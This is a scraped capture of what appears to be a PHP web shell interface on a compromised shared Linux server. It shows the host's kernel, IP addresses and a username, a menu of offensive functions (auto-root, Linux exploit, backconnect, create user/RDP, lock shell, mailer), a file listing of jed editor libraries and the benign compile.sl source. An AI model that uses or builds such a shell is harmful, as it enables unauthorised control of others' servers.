Linux iad1-shared-b7-18 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64
Apache
: 67.205.6.31 | : 216.73.216.47
Cant Read [ /etc/named.conf ]
8.2.29
fernandoquevedo
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
usr /
share /
jed /
lib /
[ HOME SHELL ]
Name
Size
Permission
Action
colors
[ DIR ]
drwxr-xr-x
abbrev.sl
838
B
-rw-r--r--
abbrev.slc
636
B
-rw-r--r--
abbrmisc.sl
2.15
KB
-rw-r--r--
abbrmisc.slc
1.98
KB
-rw-r--r--
aboutjed.hlp
252
B
-rw-r--r--
acompile.sl
2.04
KB
-rw-r--r--
acompile.slc
2.02
KB
-rw-r--r--
aprocess.sl
267
B
-rw-r--r--
aprocess.slc
238
B
-rw-r--r--
ashell.sl
7.69
KB
-rw-r--r--
ashell.slc
6.96
KB
-rw-r--r--
backups.sl
1.41
KB
-rw-r--r--
backups.slc
637
B
-rw-r--r--
bibtex.sl
17.05
KB
-rw-r--r--
bibtex.slc
12.74
KB
-rw-r--r--
binary.sl
589
B
-rw-r--r--
binary.slc
522
B
-rw-r--r--
bookmark.sl
1.6
KB
-rw-r--r--
bookmark.slc
1.2
KB
-rw-r--r--
brief.sl
5.98
KB
-rw-r--r--
buf.sl
3.41
KB
-rw-r--r--
buf.slc
1.96
KB
-rw-r--r--
bufed.sl
6.69
KB
-rw-r--r--
bufed.slc
4.68
KB
-rw-r--r--
bytecomp.sl
3.38
KB
-rw-r--r--
cal.sl
6.4
KB
-rw-r--r--
cal.slc
4.44
KB
-rw-r--r--
chglog.sl
3.13
KB
-rw-r--r--
chglog.slc
2.62
KB
-rw-r--r--
cmisc.sl
4.91
KB
-rw-r--r--
cmisc.slc
4
KB
-rw-r--r--
cmode.dfa
7.58
KB
-rw-r--r--
cmode.sl
40.06
KB
-rw-r--r--
cmode.slc
27.9
KB
-rw-r--r--
comments.sl
7.99
KB
-rw-r--r--
comments.slc
5.93
KB
-rw-r--r--
compat.sl
1.39
KB
-rw-r--r--
compile.sl
11.44
KB
-rw-r--r--
compile.slc
5.83
KB
-rw-r--r--
compress.sl
3.12
KB
-rw-r--r--
compress.slc
2.73
KB
-rw-r--r--
cpright.hlp
464
B
-rw-r--r--
ctags.sl
9.53
KB
-rw-r--r--
ctags.slc
7.34
KB
-rw-r--r--
cua.hlp
385
B
-rw-r--r--
cua.sl
7.56
KB
-rw-r--r--
cua.slc
3.91
KB
-rw-r--r--
cuamisc.sl
5.7
KB
-rw-r--r--
cuamisc.slc
1.63
KB
-rw-r--r--
dabbrev.sl
13.77
KB
-rw-r--r--
dabbrev.slc
8.05
KB
-rw-r--r--
dcl.sl
4.68
KB
-rw-r--r--
dcl.slc
4.5
KB
-rw-r--r--
defaults.sl
1.07
KB
-rw-r--r--
digraph.sl
3.8
KB
-rw-r--r--
digraph.slc
1.04
KB
-rw-r--r--
dired.sl
17.78
KB
-rw-r--r--
dired.slc
12.69
KB
-rw-r--r--
docbook.sl
38.33
KB
-rw-r--r--
docbook.slc
38.41
KB
-rw-r--r--
dos437.sl
998
B
-rw-r--r--
dos850.sl
1.3
KB
-rw-r--r--
dos852.sl
1.14
KB
-rw-r--r--
edt.hlp
1.6
KB
-rw-r--r--
edt.sl
14.55
KB
-rw-r--r--
edt.slc
7.93
KB
-rw-r--r--
emacs.hlp
227
B
-rw-r--r--
emacs.sl
6.86
KB
-rw-r--r--
emacs.slc
6.31
KB
-rw-r--r--
emacsmsc.sl
3.52
KB
-rw-r--r--
emacsmsc.slc
3.52
KB
-rw-r--r--
emul.sl
87
B
-rw-r--r--
f90.sl
22.75
KB
-rw-r--r--
f90.slc
18.39
KB
-rw-r--r--
ff90.sl
56
B
-rw-r--r--
ff90.slc
82
B
-rw-r--r--
filter.sl
646
B
-rw-r--r--
filter.slc
562
B
-rw-r--r--
folding.sl
13.47
KB
-rw-r--r--
folding.slc
11.13
KB
-rw-r--r--
fortran.sl
10.65
KB
-rw-r--r--
fortran.slc
7.79
KB
-rw-r--r--
generic.hlp
135
B
-rw-r--r--
gpg.sl
4.89
KB
-rw-r--r--
gpg.slc
4.51
KB
-rw-r--r--
help.sl
15.37
KB
-rw-r--r--
help.slc
12
KB
-rw-r--r--
history.sl
5.73
KB
-rw-r--r--
history.slc
2.2
KB
-rw-r--r--
hooks.sl
1.95
KB
-rw-r--r--
hooks.slc
1.74
KB
-rw-r--r--
html.dfa
6.13
KB
-rw-r--r--
html.sl
13.63
KB
-rw-r--r--
html.slc
10.06
KB
-rw-r--r--
ide.hlp
1.25
KB
-rw-r--r--
ide.sl
22.57
KB
-rw-r--r--
ide.slc
20.07
KB
-rw-r--r--
idl.sl
5.58
KB
-rw-r--r--
idl.slc
5.34
KB
-rw-r--r--
info.sl
19.92
KB
-rw-r--r--
info.slc
17.16
KB
-rw-r--r--
isearch.sl
7.7
KB
-rw-r--r--
isearch.slc
5.01
KB
-rw-r--r--
iso-lat2.sl
963
B
-rw-r--r--
iso-lat2.slc
1010
B
-rw-r--r--
iso-lat3.sl
1.3
KB
-rw-r--r--
iso-lat3.slc
994
B
-rw-r--r--
iso-latin.sl
625
B
-rw-r--r--
iso-latin.slc
420
B
-rw-r--r--
iso2xxx.sl
1.77
KB
-rw-r--r--
iso2xxx.slc
1.39
KB
-rw-r--r--
ispell.sl
2.99
KB
-rw-r--r--
ispell.slc
2.26
KB
-rw-r--r--
javamode.dfa
7.59
KB
-rw-r--r--
javamode.sl
3.24
KB
-rw-r--r--
javamode.slc
3.29
KB
-rw-r--r--
jed.hlp
356
B
-rw-r--r--
jed.rc
9.43
KB
-rw-r--r--
jed.sl
3.57
KB
-rw-r--r--
jed.slc
4.01
KB
-rw-r--r--
jedhelp.sl
1.43
KB
-rw-r--r--
jedhelp.slc
1.49
KB
-rw-r--r--
jedusage.sl
967
B
-rw-r--r--
jedusage.slc
1.08
KB
-rw-r--r--
keycode.sl
4.46
KB
-rw-r--r--
keydefs.sl
9.21
KB
-rw-r--r--
keydefs.slc
6.63
KB
-rw-r--r--
krconv.sl
1.86
KB
-rw-r--r--
krconv.slc
1.45
KB
-rw-r--r--
latex.sl
27.01
KB
-rw-r--r--
latex.slc
20.94
KB
-rw-r--r--
latex209.sl
2.24
KB
-rw-r--r--
latex209.slc
1.57
KB
-rw-r--r--
linux.sl
821
B
-rw-r--r--
lisp.sl
1.21
KB
-rw-r--r--
lisp.slc
1.1
KB
-rw-r--r--
ltx-comp.dat
2.01
KB
-rw-r--r--
ltx-math.sl
4.12
KB
-rw-r--r--
ltx-math.slc
3.95
KB
-rw-r--r--
lua.sl
13.05
KB
-rw-r--r--
macro.sl
2.08
KB
-rw-r--r--
macro.slc
1.95
KB
-rw-r--r--
mail.sl
4.82
KB
-rw-r--r--
mail.slc
4.17
KB
-rw-r--r--
mailalias.sl
6.21
KB
-rw-r--r--
mailalias.slc
3.61
KB
-rw-r--r--
mailedit.sl
10.79
KB
-rw-r--r--
mailutils.sl
3.52
KB
-rw-r--r--
makemode.sl
6.83
KB
-rw-r--r--
man.sl
1.8
KB
-rw-r--r--
man.slc
948
B
-rw-r--r--
maple.sl
2.14
KB
-rw-r--r--
maple.slc
1.91
KB
-rw-r--r--
matlab.sl
5.07
KB
-rw-r--r--
matlab.slc
4.07
KB
-rw-r--r--
menu.sl
4.7
KB
-rw-r--r--
menu.slc
3.91
KB
-rw-r--r--
menus.sl
2.31
KB
-rw-r--r--
menus.slc
1.74
KB
-rw-r--r--
mime.sl
1.98
KB
-rw-r--r--
mime.slc
1.75
KB
-rw-r--r--
mimemisc.sl
684
B
-rw-r--r--
mimemisc.slc
733
B
-rw-r--r--
mini.sl
4.54
KB
-rw-r--r--
mini.slc
3.73
KB
-rw-r--r--
minued.sl
8.99
KB
-rw-r--r--
minued.slc
4.37
KB
-rw-r--r--
misc.sl
4.01
KB
-rw-r--r--
misc.slc
2.51
KB
-rw-r--r--
modehook.sl
3.71
KB
-rw-r--r--
modehook.slc
1.64
KB
-rw-r--r--
modeinfo.sl
1.6
KB
-rw-r--r--
modeinfo.slc
1.48
KB
-rw-r--r--
most.sl
3.64
KB
-rw-r--r--
most.slc
3.13
KB
-rw-r--r--
mouse.sl
5.15
KB
-rw-r--r--
mousex.sl
8.33
KB
-rw-r--r--
mousex.slc
4.36
KB
-rw-r--r--
mswmouse.sl
6.85
KB
-rw-r--r--
mutekeys.sl
3.19
KB
-rw-r--r--
mutekeys.slc
1.49
KB
-rw-r--r--
nroff.sl
1.09
KB
-rw-r--r--
nroff.slc
709
B
-rw-r--r--
occur.sl
1.48
KB
-rw-r--r--
occur.slc
1.03
KB
-rw-r--r--
os.sl
4.22
KB
-rw-r--r--
paste.sl
509
B
-rw-r--r--
paste.slc
485
B
-rw-r--r--
perl.sl
33.63
KB
-rw-r--r--
perl.slc
13.77
KB
-rw-r--r--
perlxtra.sl
13.1
KB
-rw-r--r--
perlxtra.slc
5.18
KB
-rw-r--r--
php.sl
83.23
KB
-rw-r--r--
php.slc
54.16
KB
-rw-r--r--
pipe.sl
567
B
-rw-r--r--
pipe.slc
579
B
-rw-r--r--
popups.sl
9.03
KB
-rw-r--r--
popups.slc
8.88
KB
-rw-r--r--
preparse.sl
1.69
KB
-rw-r--r--
pscript.dfa
21.64
KB
-rw-r--r--
pscript.sl
4.79
KB
-rw-r--r--
pscript.slc
4.3
KB
-rw-r--r--
pushmode.sl
1.84
KB
-rw-r--r--
pushmode.slc
1.55
KB
-rw-r--r--
pymode.sl
17.24
KB
-rw-r--r--
pymode.slc
12.9
KB
-rw-r--r--
python.dfa
6.54
KB
-rw-r--r--
rcs.sl
4.27
KB
-rw-r--r--
rcs.slc
2.86
KB
-rw-r--r--
recent.sl
4.53
KB
-rw-r--r--
recent.slc
2.73
KB
-rw-r--r--
recentx.sl
10.13
KB
-rw-r--r--
recentx.slc
6.38
KB
-rw-r--r--
regexp.sl
1.63
KB
-rw-r--r--
regexp.slc
1.54
KB
-rw-r--r--
register.sl
4.11
KB
-rw-r--r--
register.slc
3.1
KB
-rw-r--r--
replace.sl
1.39
KB
-rw-r--r--
replace.slc
1.09
KB
-rw-r--r--
rmail.sl
38.64
KB
-rw-r--r--
rmail.slc
35.99
KB
-rw-r--r--
rot13.sl
497
B
-rw-r--r--
rot13.slc
379
B
-rw-r--r--
runpgm.sl
690
B
-rw-r--r--
sccs.sl
4.33
KB
-rw-r--r--
sccs.slc
2.54
KB
-rw-r--r--
search.sl
2.5
KB
-rw-r--r--
search.slc
2.29
KB
-rw-r--r--
seldisp.sl
806
B
-rw-r--r--
seldisp.slc
617
B
-rw-r--r--
sendmail.sl
7.02
KB
-rw-r--r--
sendmail.slc
5.73
KB
-rw-r--r--
session.sl
5.91
KB
-rw-r--r--
session.slc
3.46
KB
-rw-r--r--
shell.sl
6.26
KB
-rw-r--r--
shell.slc
3.32
KB
-rw-r--r--
shmode.dfa
1.57
KB
-rw-r--r--
shmode.sl
2.33
KB
-rw-r--r--
shmode.slc
1.91
KB
-rw-r--r--
simple.hlp
407
B
-rw-r--r--
site.sl
76.36
KB
-rw-r--r--
site.slc
36.67
KB
-rw-r--r--
slmode.dfa
3.22
KB
-rw-r--r--
slmode.sl
7.1
KB
-rw-r--r--
slmode.slc
5.79
KB
-rw-r--r--
sort.sl
1.21
KB
-rw-r--r--
sort.slc
1.13
KB
-rw-r--r--
sortmisc.sl
751
B
-rw-r--r--
sortmisc.slc
546
B
-rw-r--r--
spicemod.sl
1.06
KB
-rw-r--r--
spicemod.slc
1.03
KB
-rw-r--r--
srchmisc.sl
3.22
KB
-rw-r--r--
srchmisc.slc
2.56
KB
-rw-r--r--
syncproc.sl
3.58
KB
-rw-r--r--
syncproc.slc
2.36
KB
-rw-r--r--
syntax.sl
3.05
KB
-rw-r--r--
syntax.slc
1.47
KB
-rw-r--r--
tabs.sl
1.39
KB
-rw-r--r--
tabs.slc
1.31
KB
-rw-r--r--
tclmode.dfa
4.69
KB
-rw-r--r--
tclmode.sl
10.41
KB
-rw-r--r--
tclmode.slc
6.11
KB
-rw-r--r--
tex.sl
2.39
KB
-rw-r--r--
tex.slc
779
B
-rw-r--r--
texcom.dfa
1.5
KB
-rw-r--r--
texcom.sl
4.75
KB
-rw-r--r--
texcom.slc
4.12
KB
-rw-r--r--
textmode.sl
2.05
KB
-rw-r--r--
textmode.slc
974
B
-rw-r--r--
tiasm.sl
1.16
KB
-rw-r--r--
tiasm.slc
1.11
KB
-rw-r--r--
tmisc.sl
841
B
-rw-r--r--
tmisc.slc
786
B
-rw-r--r--
tmmode.sl
2.01
KB
-rw-r--r--
tmmode.slc
1.65
KB
-rw-r--r--
tmpfile.sl
2.83
KB
-rw-r--r--
tmpfile.slc
1.56
KB
-rw-r--r--
tpascal.dfa
7.65
KB
-rw-r--r--
tpascal.sl
5.77
KB
-rw-r--r--
tpascal.slc
5.51
KB
-rw-r--r--
untab.sl
1021
B
-rw-r--r--
untab.slc
569
B
-rw-r--r--
util.sl
544
B
-rw-r--r--
util.slc
293
B
-rw-r--r--
verilog.sl
1.49
KB
-rw-r--r--
verilog.slc
1.52
KB
-rw-r--r--
vhdlmode.sl
8.45
KB
-rw-r--r--
vhdlmode.slc
5.6
KB
-rw-r--r--
vmshelp.sl
2.25
KB
-rw-r--r--
win1250.sl
1.29
KB
-rw-r--r--
wmark.sl
4.36
KB
-rw-r--r--
wmark.slc
3.61
KB
-rw-r--r--
wmenu.sl
4.72
KB
-rw-r--r--
wmenu.slc
4.86
KB
-rw-r--r--
wordstar.hlp
909
B
-rw-r--r--
wordstar.sl
15.56
KB
-rw-r--r--
wordstar.slc
13.93
KB
-rw-r--r--
xformreg.sl
1.7
KB
-rw-r--r--
xformreg.slc
1.36
KB
-rw-r--r--
yankpop.sl
2.21
KB
-rw-r--r--
yankpop.slc
2.01
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : compile.sl
% -*- SLang -*- % % run compiler in a subshell and/or parse error messages % % Changes made by Alexander Demenshin <aldem@barnet.kharkov.ua> % Column support by Lutz Donnerhacke <lutz@iks-jena.de>. % % Public functions: % compile_parse_errors parse next error % compile_previous_error parse previous error % compile_parse_buf parse current buffer as error messages % compile run program and parse it output % compile_select_compiler set compiler for parsing error messages % compile_add_compiler add a compiler to database % % Public variables: % Compile_Default_Compiler % % The file also contains a database for various compilers. %--------------------------------------------------------------------------- % These variables are public because they are used by acompile.sl variable Compile_Output_Buffer = "*shell-output*"; if (is_defined ("get_process_input")) { Compile_Output_Buffer = "*compile*"; } variable Compile_Line_Mark = 0; private variable Compile_Src_Dir = Null_String; private variable Error_Regexp; % % These variables are used when parsing GNU's Make output (directory changes). % I don't know what kind of output generated by other Make, so substitute % it if needed. <aldem> % #ifdef UNIX private variable Compile_Dir_Enter = "^g?make\\[\\d+\\]: Entering directory [`']\\(.+\\)'"; private variable Compile_Dir_Leave = "^g?make\\[\\d+\\]: Leaving directory [`']\\(.+\\)'"; private define compile_parse_make_chdir () { variable beg_mark, end_mark; variable end_line; push_spot (); EXIT_BLOCK { pop_spot (); } beg_mark = create_user_mark (); end_mark = create_user_mark (); forever { goto_user_mark (end_mark); end_line = 0; if (re_bsearch (Compile_Dir_Leave)) { if (up_1 ()) end_line = what_line (); move_user_mark (end_mark); } goto_user_mark (beg_mark); ifnot (up_1 ()) return Null_String; if (re_bsearch (Compile_Dir_Enter)) { if (not(end_line) or (what_line () > end_line)) break; move_user_mark (beg_mark); } else return Null_String; } regexp_nth_match (1); } #endif private define compile_find_file (file, line, col) { #ifdef UNIX variable dir; dir = compile_parse_make_chdir (); if (strlen (dir) and (file[0] != '/')) file = dircat (dir, file); #endif if (1 != file_status (file)) { file = dircat (Compile_Src_Dir, file); while (1 != file_status (file)) { file = read_file_from_mini ("Find this file's errors:"); } } Compile_Src_Dir = path_dirname (file); () = find_file (file); widen_buffer (); goto_line (line); if (col > 0) goto_column_best_try (col); else bol_skip_white (); } private define filter_color_escape_seqs () { push_spot (); replace ("\e[K", ""); while (fsearch ("\e[")) { push_mark (); go_right (2); skip_chars ("0-9;"); if (looking_at ("m")) { del(); del_region (); continue; } pop_mark (0); } pop_spot(); } private define compile_parse_errors_dir (next_error_fun, next_line_fun) { variable cbuf, obuf = Compile_Output_Buffer; variable line, file, col; Compile_Line_Mark = 0; ifnot (bufferp(obuf)) { flush ("Did you compile?"); return; } if (MINIBUFFER_ACTIVE) return; cbuf = pop2buf_whatbuf (obuf); filter_color_escape_seqs (); if ((@next_error_fun)(&file, &line, &col)) { ifnot (strlen (line)) return; ifnot (strlen (col)) col = "0"; bol(); Compile_Line_Mark = create_line_mark (3); @next_line_fun (); line = strtrim_beg (line, " \t0"); col = strtrim_beg (col, " \t0"); compile_find_file (file, integer (line), integer (col)); cbuf = whatbuf (); sw2buf (obuf); } pop2buf (cbuf); } private define compile_find_next_error_fun (filep, linep, colp) { eol (); if (eobp ()) { message ("No more errors!"); return 0; } if (typeof (Error_Regexp) == Ref_Type) return @(Error_Regexp) (1, filep, linep, colp); bol (); ifnot (re_fsearch (Error_Regexp)) { eob (); return 0; } @filep = regexp_nth_match (1); % file name @linep = regexp_nth_match (2); % line number (string) @colp = regexp_nth_match (3); % column number (string) 1; } private define compile_find_prev_error_fun (filep, linep, colp) { bol (); if (bobp ()) { message ("No more errors!"); 0; } if (typeof (Error_Regexp) == Ref_Type) return @Error_Regexp (-1, filep, linep, colp); ifnot (re_bsearch (Error_Regexp)) { bob (); return 0; } @filep = regexp_nth_match (1); % file name @linep = regexp_nth_match (2); % line number (string) @colp = regexp_nth_match (3); % column number (string) 1; } public define compile_parse_errors () { compile_parse_errors_dir (&compile_find_next_error_fun, &go_down_1); } public define compile_previous_error () { compile_parse_errors_dir (&compile_find_prev_error_fun, &bol); } public define compile () { variable b, n; variable cmd = NULL; if (_NARGS != 0) cmd = (); b = whatbuf(); call ("save_some_buffers"); if (cmd == NULL) do_shell_cmd (); else shell_perform_cmd (cmd, 0); bob(); pop2buf(b); compile_parse_errors (); } % % Parse current buffer as error output % public define compile_parse_buf () { Compile_Output_Buffer = whatbuf(); bob (); compile_parse_errors (); } $1 = "acompile.sl"; if (is_defined ("get_process_input")) { () = evalfile ($1); } % The current implementation for the database uses an associative array. private variable Compiler_Database = Assoc_Type [Any_Type, NULL]; public define compile_select_compiler (name) { variable c; c = Compiler_Database[name]; if (c == NULL) verror ("Compiler %s is not supported. See compile.sl for more information", name); Error_Regexp = c; } public define compile_add_compiler (name, regexp) { Compiler_Database [name] = regexp; } %--------------------------------------------------------------------------- % Compiler database %--------------------------------------------------------------------------- %Borland bcc/tcc compilers %Error foo.c 4: Undefined symbol 'x' in function main %Warning foo.c 34: Possible use of 'y' before definition in function main compile_add_compiler ("bcc", "^[EW][a-r]+ \\(.+\\) \\(\\d+\\):\\(\\)"); compile_add_compiler ("tcc", "^[EW][a-r]+ \\(.+\\) \\(\\d+\\):\\(\\)"); %-------------------------------------------------------------------------- %Ultrix cc compiler %ccom: Error: t.c, line 14: LC_ALL undefined compile_add_compiler ("ultrix_cc", "[WE][ar][r][no][ir]n?g?: +\\(.+\\), line \\(\\d+\\):\\(\\)"); %-------------------------------------------------------------------------- %hp cc compiler %cc: "t.c", line 3: error 1588: "ddkldkjdldkj" undefined. compile_add_compiler ("hp_cc", "^cc: +\\\"\\(.+\\)\\\", line \\(\\d+\\):\\(\\)"); %-------------------------------------------------------------------------- %Sun acc compiler %"filename.c", line 123: error: buffer undefined %"filename.c", line 123: warning: fin not used compile_add_compiler ("sun_acc", "^\\\"\\(.+\\)\\\", line \\(\\d+\\):\\(\\)"); %-------------------------------------------------------------------------- %AIX compiler, which may be referenced under any of these names. %The Fortran compiler has the same format, so allow that too %"foo.c", line 13.4: 1506-045 (S) Undeclared identifier bar. %"foo.f", line 21.20: 1515-019 (S) Syntax is incorrect. %@aix; %@xlc; %@xlf; compile_add_compiler ("aix", "^\\\"\\(.+\\)\\\", line \\(\\d+\\)\\.\\(\\d+\\)"); compile_add_compiler ("xlc", "^\\\"\\(.+\\)\\\", line \\(\\d+\\)\\.\\(\\d+\\)"); compile_add_compiler ("xlf", "^\\\"\\(.+\\)\\\", line \\(\\d+\\)\\.\\(\\d+\\)"); %-------------------------------------------------------------------------- %The GNU compiler %cmds.adb:33:20: ';' expected. %cmds.c:33: warning: initialization of non-const * pointer... %cmds.c:1041 (cmds.o): Undefined symbol _Screen_Height referenced... %In file included from /usr/local/src/jed/src/xterm.c:10: compile_add_compiler ("gcc", `^\[?\([^] :]+\):\(\d+\)]?[^:]*:\(\d*\)`); %-------------------------------------------------------------------------- %The WATCOM compiler wcc %keymap.c(71): Error! E1011: Symbol 'show_memory' has not been declared %event.c(22): Warning! W202: Symbol 'xx' has been defined, but not referenced %Warning(1028): PhGetMsgSize_ is an undefined reference %file event.o(/home/qnx/rwm/photon/event.c): undefined symbol PhAttach_ compile_add_compiler ("wcc", "^\\(.+\\)(\\(\\d+\\)): [EW].+[rg]! [EW]\\d+:\\(\\)"); %-------------------------------------------------------------------------- %The Java compiler javac %Test.java:151: Method getNumber() not found in class java.lang.String. %@javac; compile_add_compiler ("javac", "^\\(.+\\):\\(\\d+\\):\\(\\)"); %-------------------------------------------------------------------------- %Microsoft Visual C %cob.cpp(30) : warning C4091: no symbols were declared %cob.cpp(32) : error C2665: 'COBFileHeader::COBFileHeader' : none of the %2 overloads can convert parameter 1 from type 'char [34]' (new behavior; %please see help) %cob.cpp(38) : warning C4091: no symbols were declared %cob.cpp(45) : warning C4091: no symbols were declared %cob.cpp(50) : error C2239: unexpected token '{' following declaration of %'COBChunkHead' %@vc; %compile_add_compiler ("vc", "^\\(.+\\)(\\(\\d+\\)) : [ew].+:\\(\\)"); %-------------------------------------------------------------------------- %Microsoft Visual C %cob.cpp(30) : warning C4091: no symbols were declared %cob.cpp(32) : error C2665: 'COBFileHeader::COBFileHeader' : none of the %c:\work\library\terrain\lodland.h(12) : fatal error C1083: Cannot open include file: 'fallocr.h': No such file or directory %c:\work\library\terrain\lodvrtx.h(62) : see declaration of 'public: static class lodland_vertex_generator * lodvertex::gen' %@vc; compile_add_compiler ("vc", "^[ \t]*\\(.+\\)(\\(\\d+\\)) : .*"); %-------------------------------------------------------------------------- %rgbds gameboy assembler %*ERROR* GBC_Main.s(1) : %*ERROR* GBC_Main.s(10) -> GBC_Hardware.h(27) :=0D %*ERROR* : Worldsys.s(366) : Value must be 8-bit %@rgbds; compile_add_compiler ("rgbds", "^\\*ERROR\\*.*[\t ]\\(.+\\)(\\(\\d+\\))"); %--------------------------------------------------------------------------- % End of data base %--------------------------------------------------------------------------- %!%+ %\variable{Compile_Default_Compiler} %\usage{variable Compile_Default_Compiler = "gcc";} %\description % This variable specifies the default compiler to be assumed when parsing % error messages in the compile buffer. If not set, "gcc" is assumed. % Currently supported compilers include: %#v+ % gcc (GNU C Compiler) % bcc (Borland C Compiler) % tcc (Turbo C Compiler) % ultrix_cc (Ultrix C Compiler) % hp_cc (HP C compiler) % sun_acc (Sun ANSI C compiler) % aix, xlc, xlf (Various AIX C compilers) % wcc (Watcom C compiler) % javac (Java Compiler) % vc (Microsoft Visual C) %#v- %\notes % The primary purpose of this variable is to select a compiler prior to % loading compile.sl. Once compile.sl has been loaded, the value of this % variable has no effect. To switch compilers, the \var{compile_select_compiler} % function must be used. %\seealso{compile_select_compiler, compile_add_compiler} %!%- custom_variable ("Compile_Default_Compiler", "gcc"); compile_select_compiler (Compile_Default_Compiler);
Close